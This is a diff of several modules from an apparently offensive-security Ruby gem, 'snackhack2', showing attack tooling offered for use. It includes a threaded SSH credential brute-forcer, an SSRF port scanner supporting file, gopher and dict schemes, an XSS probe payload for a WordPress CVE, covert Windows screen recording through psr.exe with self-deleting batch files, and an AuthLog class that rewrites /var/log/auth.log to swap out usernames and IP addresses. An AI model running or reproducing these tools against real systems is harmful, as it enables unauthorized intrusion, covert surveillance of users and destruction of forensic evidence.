end
|
|
30
33
|
else
|
|
31
|
-
|
|
32
|
-
|
|
34
|
+
unless allow[1].empty?
|
|
35
|
+
puts "ALLOW: "
|
|
36
|
+
allow[1].each do |a|
|
|
37
|
+
puts a
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
unless disallow[1].empty?
|
|
41
|
+
puts "Disallow: "
|
|
42
|
+
disallow[1].each do |d|
|
|
43
|
+
puts d
|
|
44
|
+
end
|
|
45
|
+
end
|
|
33
46
|
end
|
|
34
|
-
|
|
47
|
+
Snackhack2.file_save(@site, 'robots', save_txt_file) if @save_file
|
|
35
48
|
end
|
|
36
49
|
|
|
37
50
|
def allow_robots
|
|
38
51
|
allow_dir = []
|
|
39
|
-
|
|
40
|
-
|
|
52
|
+
http = Snackhack2.get(@http)
|
|
53
|
+
if http.code == 200
|
|
54
|
+
body = http.body.lines
|
|
41
55
|
body.each do |l|
|
|
42
56
|
allow_dir << l.split('Allow: ')[1] if l.match(/Allow:/)
|
|
43
57
|
end
|
|
@@ -46,21 +60,25 @@ module Snackhack2
|
|
|
46
60
|
end
|
|
47
61
|
open_links = []
|
|
48
62
|
allow_dir.each do |path|
|
|
49
|
-
link = Snackhack2.get(
|
|
63
|
+
link = Snackhack2.get(@http)
|
|
50
64
|
if link.code == 200
|
|
51
65
|
valid_links = "#{@site}#{path}"
|
|
52
66
|
open_links << valid_links
|
|
53
67
|
end
|
|
54
68
|
end
|
|
55
|
-
open_links
|
|
69
|
+
[ open_links, allow_dir]
|
|
56
70
|
end
|
|
57
71
|
|
|
58
72
|
def disallow_robots
|
|
73
|
+
http = Snackhack2.get(@http)
|
|
59
74
|
disallow_dir = []
|
|
60
|
-
if
|
|
61
|
-
body =
|
|
75
|
+
if http.code == 200
|
|
76
|
+
body = http.body.lines
|
|
62
77
|
body.each do |l|
|
|
63
|
-
|
|
78
|
+
if l.match(/Disallow:/)
|
|
79
|
+
|
|
80
|
+
disallow_dir << l.split('Disallow: ')[1]
|
|
81
|
+
end
|
|
64
82
|
end
|
|
65
83
|
else
|
|
66
84
|
puts "[+] Not giving code 200.\n"
|
|
@@ -74,7 +92,7 @@ module Snackhack2
|
|
|
74
92
|
end
|
|
75
93
|
rescue StandardError
|
|
76
94
|
end
|
|
77
|
-
open_links
|
|
95
|
+
[ open_links, disallow_dir]
|
|
78
96
|
end
|
|
79
97
|
end
|
|
80
98
|
end
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
module Snackhack2
|
|
2
|
+
class RubyComments
|
|
3
|
+
attr_accessor :file
|
|
4
|
+
def initialize
|
|
5
|
+
@file = file
|
|
6
|
+
end
|
|
7
|
+
def comment_block
|
|
8
|
+
if File.exist?(@file)
|
|
9
|
+
comments = []
|
|
10
|
+
in_comment_block = false
|
|
11
|
+
File.readlines(@file).each do |file|
|
|
12
|
+
file.each_line do |line|
|
|
13
|
+
if line.strip.eql? '=begin'
|
|
14
|
+
in_comment_block = true
|
|
15
|
+
next
|
|
16
|
+
elsif line.strip.eql? '=end'
|
|
17
|
+
in_comment_block = false
|
|
18
|
+
next
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
if in_comment_block
|
|
22
|
+
comments << line
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
end
|
|
26
|
+
comments.each do |c|
|
|
27
|
+
puts c
|
|
28
|
+
end
|
|
29
|
+
else
|
|
30
|
+
puts "#{@file} does not exist."
|
|
31
|
+
end
|
|
32
|
+
end
|
|
33
|
+
def comments
|
|
34
|
+
if File.exist?(@file)
|
|
35
|
+
File.readlines(@file).each do |l|
|
|
36
|
+
line = l.to_s
|
|
37
|
+
if line.to_s.start_with?("#")
|
|
38
|
+
puts l
|
|
39
|
+
end
|
|
40
|
+
end
|
|
41
|
+
else
|
|
42
|
+
puts "#{@file} does not exist."
|
|
43
|
+
end
|
|
44
|
+
end
|
|
45
|
+
end
|
|
46
|
+
end
|
|
@@ -12,12 +12,19 @@ module Snackhack2
|
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
def run
|
|
15
|
+
# creates a `.bat` filw with a command that will start the screen recordings
|
|
15
16
|
File.open('lol.bat', 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
|
|
17
|
+
# this will save a .bat file that will stop the recording
|
|
16
18
|
File.open('lol2.bat', 'w+') { |file| file.write('psr.exe /stop') }
|
|
19
|
+
# run `lol.bat`
|
|
17
20
|
Process.spawn('lol.bat')
|
|
21
|
+
# sleeps for the amount of time declared in instance variable `@time` which by
|
|
22
|
+
# defualt is 60 seconds
|
|
18
23
|
sleep @time.to_i
|
|
24
|
+
# runs lol2.bat
|
|
19
25
|
system('lol2.bat')
|
|
20
26
|
sleep 2
|
|
27
|
+
# deletes both `lol.bat` and `lol2.bat`.
|
|
21
28
|
File.delete('lol.bat')
|
|
22
29
|
File.delete('lol2.bat')
|
|
23
30
|
end
|
data/lib/snackhack2/sitemap.rb
CHANGED
|
@@ -4,14 +4,22 @@ require 'httparty'
|
|
|
4
4
|
require 'nokogiri'
|
|
5
5
|
module Snackhack2
|
|
6
6
|
class SiteMap
|
|
7
|
-
|
|
7
|
+
attr_accessor :site
|
|
8
|
+
def initialize
|
|
8
9
|
@site = site
|
|
9
10
|
end
|
|
10
11
|
|
|
11
12
|
def run
|
|
13
|
+
# adds `sitemap.xml` to the site given
|
|
14
|
+
# defined in `@site` instance variable.
|
|
12
15
|
sm = Snackhack2.get(File.join(@site, 'sitemap.xml'))
|
|
13
|
-
|
|
14
|
-
|
|
16
|
+
# site returns 200 status code
|
|
17
|
+
if sm.code.to_i.eql?(200)
|
|
18
|
+
# checks the body of the page to detetmine if the words
|
|
19
|
+
# `Not Found` is it
|
|
20
|
+
unless sm.body.include?('Not Found')
|
|
21
|
+
# the page did not include "Not Found". Saving the contents of the sitemap.xml
|
|
22
|
+
# to a file.
|
|
15
23
|
Snackhack2.file_save(@site, 'site.xml', sm.body)
|
|
16
24
|
else
|
|
17
25
|
puts "[+] Eh. I don't think the site has a sitemap. Manually check just in case... :(\n\n"
|
data/lib/snackhack2/sshbrute.rb
CHANGED
|
@@ -10,11 +10,14 @@ module Snackhack2
|
|
|
10
10
|
end
|
|
11
11
|
|
|
12
12
|
def list
|
|
13
|
+
# the list of usernames and password.
|
|
14
|
+
# username:password
|
|
13
15
|
File.join(__dir__, 'lists', 'sshbrute.txt')
|
|
14
16
|
end
|
|
15
17
|
|
|
16
18
|
def run
|
|
17
19
|
threads = []
|
|
20
|
+
# uses threads to make it faster
|
|
18
21
|
File.readlines(list).each { |usr, pass| threads << Thread.new { brute(usr, pass) } }
|
|
19
22
|
threads.each(&:join)
|
|
20
23
|
|
|
@@ -22,8 +25,11 @@ module Snackhack2
|
|
|
22
25
|
end
|
|
23
26
|
|
|
24
27
|
def brute(username, pass)
|
|
28
|
+
# does the bruting.
|
|
29
|
+
# saves the valid creds to the @success_list instance variable array
|
|
25
30
|
Net::SSH.start(@ip, username, password: pass, timeout: 1) do |ssh|
|
|
26
31
|
@success_list << [username, pass]
|
|
32
|
+
# runs the `hostame command if valid
|
|
27
33
|
ssh.exec!('hostname')
|
|
28
34
|
end
|
|
29
35
|
rescue Net::SSH::AuthenticationFailed
|
data/lib/snackhack2/ssrf.rb
CHANGED
|
@@ -2,14 +2,61 @@
|
|
|
2
2
|
|
|
3
3
|
# Process.spawn("ruby -run -ehttpd . -p8008")
|
|
4
4
|
# sleep 10
|
|
5
|
+
require 'typhoeus'
|
|
5
6
|
module Snackhack2
|
|
6
7
|
class SSRF
|
|
7
|
-
attr_accessor :site
|
|
8
|
-
|
|
8
|
+
attr_accessor :site, :ssrf_site, :protocol
|
|
9
9
|
def initialize
|
|
10
10
|
@site = site
|
|
11
|
+
@ssrf_site = ssrf_site
|
|
12
|
+
@protocol = protocol
|
|
13
|
+
end
|
|
14
|
+
def get_protocol
|
|
15
|
+
case @protocol.downcase
|
|
16
|
+
when "https"
|
|
17
|
+
"https://"
|
|
18
|
+
when "ftp"
|
|
19
|
+
"ftp://"
|
|
20
|
+
when "http"
|
|
21
|
+
"http://"
|
|
22
|
+
when "file"
|
|
23
|
+
"file://"
|
|
24
|
+
when "dict"
|
|
25
|
+
"dict://"
|
|
26
|
+
when "gopher"
|
|
27
|
+
"gopher://"
|
|
28
|
+
when "sftp"
|
|
29
|
+
"sftp://"
|
|
30
|
+
when "tftp"
|
|
31
|
+
"tftp://"
|
|
32
|
+
when "ldap"
|
|
33
|
+
"ldap://"
|
|
34
|
+
end
|
|
11
35
|
end
|
|
12
|
-
def
|
|
36
|
+
def http_port_scan(port_count: 8082)
|
|
37
|
+
hydra = Typhoeus::Hydra.new
|
|
38
|
+
i = 0
|
|
39
|
+
# Where found ports will be saved.
|
|
40
|
+
found_ports = []
|
|
41
|
+
# tries 65530 ports
|
|
42
|
+
65530.times.each_with_index.map{ |i|
|
|
43
|
+
# adds the port to @ssrf
|
|
44
|
+
site = @site.gsub("SSRF", "#{@ssrf_site}") + ":" + i.to_s
|
|
45
|
+
request = Typhoeus::Request.new("#{site}", followlocation: true)
|
|
46
|
+
hydra.queue(request)
|
|
47
|
+
request.on_complete do |response|
|
|
48
|
+
# If the response code returns 200 it will save
|
|
49
|
+
# the port number to `found_ports`.
|
|
50
|
+
if response.code.to_i.eql?(200)
|
|
51
|
+
puts i
|
|
52
|
+
puts "#{response.code}"
|
|
53
|
+
found_ports << i
|
|
54
|
+
end
|
|
55
|
+
end
|
|
56
|
+
}
|
|
57
|
+
hydra.run
|
|
58
|
+
# returns the `found_ports` array.
|
|
59
|
+
found_ports
|
|
13
60
|
end
|
|
14
61
|
def ssrf_google
|
|
15
62
|
url = @site.gsub('SSRF', 'http://google.com')
|
|
@@ -5,16 +5,14 @@ require 'resolv'
|
|
|
5
5
|
require 'async/http/internet'
|
|
6
6
|
module Snackhack2
|
|
7
7
|
class Subdomains
|
|
8
|
-
|
|
8
|
+
attr_accessor :site
|
|
9
|
+
def initialize(wordlist: nil)
|
|
9
10
|
@site = site
|
|
10
11
|
@wordlist = wordlist
|
|
11
12
|
end
|
|
12
13
|
|
|
13
|
-
def site
|
|
14
|
-
@site.gsub('https://', '')
|
|
15
|
-
end
|
|
16
|
-
|
|
17
14
|
def wordlist
|
|
15
|
+
# gets the location of the subdomains list
|
|
18
16
|
File.join(__dir__, 'lists', 'subdomains.txt')
|
|
19
17
|
end
|
|
20
18
|
|
|
@@ -26,10 +24,15 @@ module Snackhack2
|
|
|
26
24
|
|
|
27
25
|
def brute
|
|
28
26
|
found = ''
|
|
27
|
+
# loops through each of the subdomains and adds it to
|
|
28
|
+
# the site which checks if it returns a `200` status code or `300` status code
|
|
29
|
+
unless @site.nil?
|
|
30
|
+
@site = @site.gsub("https://", "")
|
|
31
|
+
end
|
|
29
32
|
File.readlines(wordlist).each do |l|
|
|
30
|
-
s = "#{l.strip}.#{site}"
|
|
33
|
+
s = "#{l.strip}.#{@site}"
|
|
34
|
+
p File.join('https://', s)
|
|
31
35
|
begin
|
|
32
|
-
puts File.join('https://', s)
|
|
33
36
|
g = Snackhack2.get(File.join('https://', s))
|
|
34
37
|
if g.code == 200
|
|
35
38
|
found += "#{s}\n"
|
|
@@ -3,7 +3,8 @@
|
|
|
3
3
|
require 'async/http/internet'
|
|
4
4
|
module Snackhack2
|
|
5
5
|
class Subdomains2
|
|
6
|
-
|
|
6
|
+
attr_accessor :site
|
|
7
|
+
def initialize
|
|
7
8
|
@site = site
|
|
8
9
|
@urls = []
|
|
9
10
|
end
|
|
@@ -18,7 +19,10 @@ module Snackhack2
|
|
|
18
19
|
|
|
19
20
|
def run
|
|
20
21
|
File.readlines(wordlist).each do |a|
|
|
22
|
+
# removes `https://` from the instance variable
|
|
23
|
+
# `@site`. Adds the subdomain from the file to test if it is valid
|
|
21
24
|
url = "https://#{a.strip}.#{@site.gsub('https://', '')}"
|
|
25
|
+
|
|
22
26
|
fetch(url)
|
|
23
27
|
puts url
|
|
24
28
|
end
|
|
@@ -30,6 +34,8 @@ module Snackhack2
|
|
|
30
34
|
task.with_timeout(2) do
|
|
31
35
|
internet = Async::HTTP::Internet.new
|
|
32
36
|
m = internet.get(url, { 'user-agent' => Snackhack2::UA })
|
|
37
|
+
# only adds it to the @url instance variable if
|
|
38
|
+
# it returns a status code of `200` OR `301`
|
|
33
39
|
@urls << url if (m.status == 200) || (m.status == 301)
|
|
34
40
|
m.read
|
|
35
41
|
end
|
data/lib/snackhack2/tomcat.rb
CHANGED
|
@@ -3,20 +3,33 @@
|
|
|
3
3
|
require 'nokogiri'
|
|
4
4
|
module Snackhack2
|
|
5
5
|
class TomCat
|
|
6
|
-
|
|
6
|
+
attr_accessor :site
|
|
7
|
+
def initialize
|
|
7
8
|
@site = site
|
|
8
9
|
end
|
|
9
10
|
|
|
10
11
|
def run
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
12
|
+
# adds `/docs/` to the instance variable @site
|
|
13
|
+
tc = Snackhack2.get(@site)
|
|
14
|
+
if tc.headers.has_key?("server")
|
|
15
|
+
if tc.headers['server'].match?("Tomcat")
|
|
16
|
+
puts "[+] Found Tomcat in the site's header... #{tc.headers['server']}\n\n\n"
|
|
17
|
+
tc_body = Snackhack2.get(File.join(@site, '/docs/'))
|
|
18
|
+
if tc_body.code.to_i.eql?(404)
|
|
19
|
+
if tc_body.body.include?('Tomcat')
|
|
20
|
+
doc = Nokogiri::HTML(tc.body)
|
|
21
|
+
# it will then extract the version displayed if
|
|
22
|
+
# the word is found
|
|
23
|
+
begin
|
|
24
|
+
# use to get the version
|
|
25
|
+
version = doc.at('h3').text
|
|
26
|
+
puts "[+] Looks like the site is Tomcat, running #{version}."
|
|
27
|
+
rescue => e
|
|
28
|
+
puts "ERROR: #{e}"
|
|
29
|
+
end
|
|
30
|
+
end
|
|
31
|
+
end
|
|
17
32
|
end
|
|
18
|
-
else
|
|
19
|
-
puts "[+] Status code: #{tc.code}"
|
|
20
33
|
end
|
|
21
34
|
end
|
|
22
35
|
end
|
data/lib/snackhack2/version.rb
CHANGED
|
@@ -16,6 +16,7 @@ module Snackhack2
|
|
|
16
16
|
File.readlines(@path).each do |line|
|
|
17
17
|
old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
|
|
18
18
|
out += if old_ip.to_s == @ip
|
|
19
|
+
# replaces the old IP with the new_ip
|
|
19
20
|
line.gsub(old_ip.to_s, new_ip)
|
|
20
21
|
else
|
|
21
22
|
line
|
|
@@ -25,4 +26,58 @@ module Snackhack2
|
|
|
25
26
|
File.open(@path, 'w+') { |file| file.write(out) }
|
|
26
27
|
end
|
|
27
28
|
end
|
|
29
|
+
class AuthLog
|
|
30
|
+
attr_accessor :ip, :user
|
|
31
|
+
def initialize(path: File.join("/var", "log", "auth.log.2"), user: "root")
|
|
32
|
+
@ip = ip
|
|
33
|
+
@user = user
|
|
34
|
+
@user_list = ["user", "admin", "nobody", "proxy", "test", "tom", "frank", "irc", "sshd", "mail"]
|
|
35
|
+
@path = path
|
|
36
|
+
end
|
|
37
|
+
def remove_username
|
|
38
|
+
# replaces the username inputted with one
|
|
39
|
+
# 'randomly' picked from @user_list
|
|
40
|
+
out = ""
|
|
41
|
+
# loops through the given file
|
|
42
|
+
File.readlines(@path).each do |user|
|
|
43
|
+
new_user = user.match(/#{@user}/)
|
|
44
|
+
if new_user.to_s.eql?(@user)
|
|
45
|
+
# replaces the matched user with a
|
|
46
|
+
# 'randomly' ( .sample) user
|
|
47
|
+
out += user.gsub(new_user.to_s, @user_list.sample)
|
|
48
|
+
else
|
|
49
|
+
# if it does not match it will add the non matched
|
|
50
|
+
# line to the newly created one
|
|
51
|
+
out += user
|
|
52
|
+
end
|
|
53
|
+
end
|
|
54
|
+
File.delete(@path)
|
|
55
|
+
File.open(@path, 'w+') { |file| file.write(out) }
|
|
56
|
+
end
|
|
57
|
+
def remove_ip
|
|
58
|
+
out = ''
|
|
59
|
+
# generate random IP
|
|
60
|
+
new_ip = Array.new(4) { rand(256) }.join('.')
|
|
61
|
+
File.readlines(@path).each do |line|
|
|
62
|
+
# Uses .match and regex to match IPs
|
|
63
|
+
old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
|
|
64
|
+
out += if old_ip.to_s == @ip
|
|
65
|
+
# replace the foud ip with a randomly generated IP
|
|
66
|
+
line.gsub(old_ip.to_s, new_ip)
|
|
67
|
+
else
|
|
68
|
+
# if it does not find the inputted IP
|
|
69
|
+
# it will return the line
|
|
70
|
+
line
|
|
71
|
+
end
|
|
72
|
+
end
|
|
73
|
+
# deletes the @path
|
|
74
|
+
File.delete(@path)
|
|
75
|
+
# saves the new log to the old path
|
|
76
|
+
File.open(@path, 'w+') { |file| file.write(out) }
|
|
77
|
+
end
|
|
78
|
+
def remove_all
|
|
79
|
+
remove_ip
|
|
80
|
+
remove_username
|
|
81
|
+
end
|
|
82
|
+
end
|
|
28
83
|
end
|
|
@@ -12,10 +12,14 @@ module Snackhack2
|
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
def run
|
|
15
|
+
# uses nokogiri to get the source of the page
|
|
15
16
|
doc = Nokogiri::HTML(URI.open(@site))
|
|
17
|
+
# uses the xpath to get all the links on the source code
|
|
16
18
|
links = doc.xpath('//a')
|
|
19
|
+
# gets the links
|
|
17
20
|
all_links = links.map { |e| e['href'] }.compact
|
|
18
|
-
|
|
21
|
+
# remove any duplicates
|
|
22
|
+
content = all_links.uniq.join("\n")
|
|
19
23
|
if @save_file
|
|
20
24
|
Snackhack2.file_save(@site, 'links', content)
|
|
21
25
|
else
|
|
@@ -6,7 +6,7 @@ module Snackhack2
|
|
|
6
6
|
class WebsiteMeta
|
|
7
7
|
attr_accessor :site
|
|
8
8
|
|
|
9
|
-
def initialize
|
|
9
|
+
def initialize
|
|
10
10
|
@site = site
|
|
11
11
|
end
|
|
12
12
|
|
|
@@ -14,17 +14,17 @@ module Snackhack2
|
|
|
14
14
|
doc = Nokogiri::HTML(URI.open(@site))
|
|
15
15
|
posts = doc.xpath('//meta')
|
|
16
16
|
posts.each do |link|
|
|
17
|
+
# displays the meta tags of name, content and name
|
|
17
18
|
puts "#{link.attributes['name']}: #{link.attributes['content']}" unless link.attributes['name'].nil?
|
|
18
19
|
end
|
|
19
20
|
end
|
|
20
21
|
def description
|
|
21
22
|
begin
|
|
22
23
|
doc = Nokogiri::HTML(URI.open("https://#{@site}", "User-Agent" => Snackhack2::UA))
|
|
23
|
-
|
|
24
|
-
|
|
24
|
+
unless doc.xpath('/html/head/meta[@name="description"]/@content').to_s.empty?
|
|
25
|
+
# extracts the description tag from meta tags
|
|
26
|
+
puts doc.xpath('/html/head/meta[@name="description"]/@content').to_s
|
|
25
27
|
end
|
|
26
|
-
#dsp <<
|
|
27
|
-
|
|
28
28
|
rescue => e
|
|
29
29
|
puts "ERROR: #{e}"
|
|
30
30
|
end
|
data/lib/snackhack2/wordpress.rb
CHANGED
|
@@ -54,6 +54,7 @@ module Snackhack2
|
|
|
54
54
|
end
|
|
55
55
|
|
|
56
56
|
def wp_login
|
|
57
|
+
# detects if the site is using wordpress
|
|
57
58
|
percent = 0
|
|
58
59
|
## todo: maybe add Bayes Theorem to detect wp
|
|
59
60
|
wp = ['wp-includes', 'wp-admin', 'Powered by WordPress', 'wp-login.php', 'yoast.com/wordpress/plugins/seo/',
|
|
@@ -71,25 +72,73 @@ module Snackhack2
|
|
|
71
72
|
puts "Wordpress Points: #{percent}"
|
|
72
73
|
end
|
|
73
74
|
|
|
74
|
-
def yoast_seo
|
|
75
|
+
def yoast_seo(print_version: false)
|
|
76
|
+
# checks to see if the wordpress site
|
|
77
|
+
# uses the yoast seo plugin
|
|
75
78
|
ys = Snackhack2.get(@site)
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
79
|
+
if ys.code.to_i.eql?(200)
|
|
80
|
+
if ys.body.match?("Yoast")
|
|
81
|
+
v = ys.body.scan(/This site is optimized with the Yoast SEO plugin\sv\d\d\.\d/).join(" ")
|
|
82
|
+
# makes sure the word 'plugin' is in the 'v' string
|
|
83
|
+
if v.include?("plugin")
|
|
84
|
+
# gets the version
|
|
85
|
+
version = v.split("plugin")[1].strip
|
|
86
|
+
end
|
|
87
|
+
end
|
|
88
|
+
end
|
|
89
|
+
unless print_version
|
|
90
|
+
return version
|
|
91
|
+
else
|
|
92
|
+
puts "Yoast Seo is running version: #{version}"
|
|
82
93
|
end
|
|
83
94
|
end
|
|
84
95
|
|
|
85
|
-
def
|
|
96
|
+
def find_plugins(print_version: true)
|
|
97
|
+
found_versions = {}
|
|
86
98
|
alios = Snackhack2.get(@site)
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
99
|
+
if alios.code.eql?(200)
|
|
100
|
+
data = {"Yoast SEO plugin " => 'Yoast SEO plugin v\d\d\.\d',
|
|
101
|
+
"MonsterInsights plugin" => 'MonsterInsights plugin v\d\d\.\d\.\d',
|
|
102
|
+
"All in One SEO" => 'All in One SEO \d\.\d\.\d\.\d',
|
|
103
|
+
"Site Kit by Google" => 'Site Kit by Google \d\.\d\d\d\.\d',
|
|
104
|
+
"Google Analytics by ExactMetrics plugin" => 'Google Analytics by ExactMetrics plugin v\d\.\d\d\.\d', "HubSpot WordPress plugin" => 'HubSpot WordPress plugin v\d\d\.\d\.\d\d', "Simple Social Buttons" => 'Simple Social Buttons \d\.2\.0',
|
|
105
|
+
"Powered by Slider Revolution" => 'Powered by Slider Revolution \d\.\d\.\d\d', "Generated By Events-Calendar - Version:" => 'Generated By Events-Calendar - Version: \d\.\d\.\d',
|
|
106
|
+
"Open Graph and Twitter Card Tags" => 'Open Graph and Twitter Card Tags \d\.\d\.\d',
|
|
107
|
+
"Google Analytics Tracking by Google Analyticator" => 'Google Analytics Tracking by Google Analyticator \d\.\d\.\d', "REVOLUTION SLIDER" => 'REVOLUTION SLIDER \d\.\d\.\d',
|
|
108
|
+
"Generated By sidebarTabs" => 'Generated By sidebarTabs \d\.\d',\
|
|
109
|
+
"Yoast WordPress SEO plugin" => 'Yoast WordPress SEO plugin v\d\.\d\.\d',
|
|
110
|
+
"Yoast SEO Premium plugin" => 'Yoast SEO Premium plugin v\d\d\.\d \(Yoast SEO v27\.1\.1\)',
|
|
111
|
+
"Google Analytics by MonsterInsights plugin" => 'Google Analytics by MonsterInsights plugin v\d\d\.\d\.\d',
|
|
112
|
+
"All in One SEO (AIOSEO\)" => 'All in One SEO \(AIOSEO\) \d\.\d\.\d',
|
|
113
|
+
"EduBlock PRO" => 'EduBlock PRO \d\.\d\.\d',
|
|
114
|
+
"WPZOOM Framework" => 'WPZOOM Framework \d\.0\.\d',
|
|
115
|
+
"WPML" => 'WPML ver:\d\.\d\.\d',
|
|
116
|
+
"Redux" => 'Redux \d\.\d\.\d',
|
|
117
|
+
"WordPress Download Manager"=> 'WordPress Download Manager \d\.\d\.\d\d',
|
|
118
|
+
"WP Rocket" => 'WP Rocket \d\.\d\d\.\d',
|
|
119
|
+
"WooCommerce" => 'WooCommerce \d\d\.\d\.\d',
|
|
120
|
+
"Yoast SEO plugin" => 'Yoast SEO plugin v\d\.\d',
|
|
121
|
+
"Divi" => 'Divi v\.\d\.\d\d\.\d',
|
|
122
|
+
"WordPress" => 'WordPress \d\.\d\.\d',
|
|
123
|
+
"Newtek ChildTheme Base for Divi " => 'Newtek ChildTheme Base for Divi v\.\d\.\d',
|
|
124
|
+
"Presence" => 'Presence \d\.\d\.\d\d',
|
|
125
|
+
"WPZOOM Framework" => 'WPZOOM Framework \d\.\d\.\d'}
|
|
126
|
+
data.each do |name, regex|
|
|
127
|
+
version = alios.body.scan(/#{regex}/)
|
|
128
|
+
|
|
129
|
+
unless version.empty?
|
|
130
|
+
found_versions[name] = version.shift.gsub(name, "").strip
|
|
131
|
+
end
|
|
132
|
+
end
|
|
133
|
+
end
|
|
134
|
+
unless print_version
|
|
135
|
+
return found_versions
|
|
136
|
+
else
|
|
137
|
+
found_versions.each do |name, version|
|
|
138
|
+
puts "#{name}: #{version}"
|
|
139
|
+
end
|
|
140
|
+
end
|
|
91
141
|
end
|
|
92
|
-
|
|
93
142
|
def wp_log
|
|
94
143
|
wplog_score = 0
|
|
95
144
|
wp = ['\wp-content\plugins', 'PHP Notice', 'wp-cron.php', '/var/www/html', 'Yoast\WP\SEO', 'wordpress-seo']
|
|
@@ -105,6 +154,7 @@ module Snackhack2
|
|
|
105
154
|
|
|
106
155
|
def wp_plugin
|
|
107
156
|
wp_plugin_score = 0
|
|
157
|
+
# text in which it will search for
|
|
108
158
|
wp = ['Index of', 'Name', 'Last modified', 'Size', 'Parent Directory', '/wp-content/plugins']
|
|
109
159
|
plug = Snackhack2.get(File.join(@site, '/wp-content/plugins/'))
|
|
110
160
|
if plug.code == 200
|
|
@@ -14,6 +14,7 @@ module Snackhack2
|
|
|
14
14
|
def run
|
|
15
15
|
wp = HTTParty.get(File.join(@site, '/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E'))
|
|
16
16
|
if wp.code == 200
|
|
17
|
+
# if `XSS` is found it means the site MIGHT be vulnerable
|
|
17
18
|
puts "[+] #{@site} is vulnerable to CVE-2018-11709..." if wp.match(/XSS/)
|
|
18
19
|
else
|
|
19
20
|
puts "[+] HTTP code #{wp.code}"
|
metadata
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: snackhack2
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.6.
|
|
4
|
+
version: 0.6.9
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- mike
|
|
8
8
|
autorequire:
|
|
9
9
|
bindir: exe
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date:
|
|
11
|
+
date: 2026-03-25 00:00:00.000000000 Z
|
|
12
12
|
dependencies:
|
|
13
13
|
- !ruby/object:Gem::Dependency
|
|
14
14
|
name: httparty
|
|
@@ -87,6 +87,7 @@ files:
|
|
|
87
87
|
- lib/snackhack2/emails.rb
|
|
88
88
|
- lib/snackhack2/forward_remote.rb
|
|
89
89
|
- lib/snackhack2/google_analytics.rb
|
|
90
|
+
- lib/snackhack2/host_injection.rb
|
|
90
91
|
- lib/snackhack2/indirect_command_injection.rb
|
|
91
92
|
- lib/snackhack2/iplookup.rb
|
|
92
93
|
- lib/snackhack2/list_users.rb
|
|
@@ -98,6 +99,7 @@ files:
|
|
|
98
99
|
- lib/snackhack2/portscan.rb
|
|
99
100
|
- lib/snackhack2/reverse_shell.rb
|
|
100
101
|
- lib/snackhack2/robots.rb
|
|
102
|
+
- lib/snackhack2/ruby_comments.rb
|
|
101
103
|
- lib/snackhack2/screenshots.rb
|
|
102
104
|
- lib/snackhack2/sitemap.rb
|
|
103
105
|
- lib/snackhack2/sshbrute.rb
|